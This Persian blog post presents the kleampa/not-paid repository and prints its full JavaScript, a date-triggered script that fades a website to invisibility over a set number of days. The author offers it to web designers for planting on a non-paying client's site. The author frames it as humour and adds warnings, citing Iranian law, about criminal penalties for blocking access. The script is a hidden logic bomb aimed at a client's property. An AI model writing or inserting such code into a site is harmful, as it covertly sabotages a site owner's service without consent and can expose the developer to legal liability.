مشتری طراحی سایت پولتون رو نمی ده؟ با این کد خورد خورد سایتش رو غیب کنین

امروز یک رپوزیتوری دیدم که واقعا حیفه بهتون معرفی نکنم: kleampa/not-paid. بهتون این جاوااسکریپت رو می ده:

(function(){
    /* change these variables as you wish */
    var due_date = new Date('2017-02-27');
    var days_deadline = 60;
    /* stop changing here */
    
    var current_date = new Date();
    var utc1 = Date.UTC(due_date.getFullYear(), due_date.getMonth(), due_date.getDate());
    var utc2 = Date.UTC(current_date.getFullYear(), current_date.getMonth(), current_date.getDate());
    var days = Math.floor((utc2 - utc1) / (1000 * 60 * 60 * 24));
    
    if(days > 0) {
        var days_late = days_deadline-days;
        var opacity = (days_late*100/days_deadline)/100;
            opacity = (opacity < 0) ? 0 : opacity;
            opacity = (opacity > 1) ? 1 : opacity;
        if(opacity >= 0 && opacity <= 1) {
            document.getElementsByTagName("BODY")[0].style.opacity = opacity;
        }
        
    }
    
})()

که کافیه بعد از تنظیم دو تا متغیربالاییش به اسم not-paid.js ذخیرش کنین و تو بخش صداش بزنین. حالا یک میزان opacity به body اضافه می شه و هر روز که بگذره بیشتر می شه و سایت رو کم رنگ و کم رنگ تر می کنه تا بالاخره بعد از گذشتن مهلت مقرر (مثلا ۶۰ روز) سایت مشتری کاملا محو بشه (:

ایده از این خنده دار تر نمی‌شد واقعا. البته در مورد استفاده اش حواستون باشه چون ما قوانین خیلی درست و حسابی نداریم و کارهای خیلی خنده دار تر باعث به زندان رفته برنامه نویس هایی شده که فقط یک جایی تو برنامه نویسی اشتباه کرده بودن و کارفرمایی که پولشون رو نداده مدعی بوده که با اینکار بهش میلیون‌ها ضرر هم وارد اومده و قاضی هم که از این چیزها سر در نمیاورده،‌ رای رو به کارفرما داده.

اما خب... می تونین بخندین یا اگر سرویس رایگانی می دین ازش استفاده کنین (:

آپدیت ها

  • عرفان در کامنت ها فورک خودش که تاریخ شمسی می پذیره رو گذاشته.
  • سعید هم در ایمیل تذکر داده که «با توجه به ماده ۷۳۸ قانون در نظر داشته باش و هشدار بده که این کار به معنی ممانعت از دسترسی افراد مجاز به اطلاعاتشون هست! و این یعنی ۱ سال زندان و ۲ میلیون هم جریمه» است. منم تو متن تذکر دادم که این مطلب برای فان است و در قوانین ایران بهتره هیچ شوخی این شکلی نکنین. آدم هایی می شناسم که سر چیزهای خیلی خیلی کوچیکتر دردسرهای بسیار عجیبی متحمل شدن در قوانین عجیب ما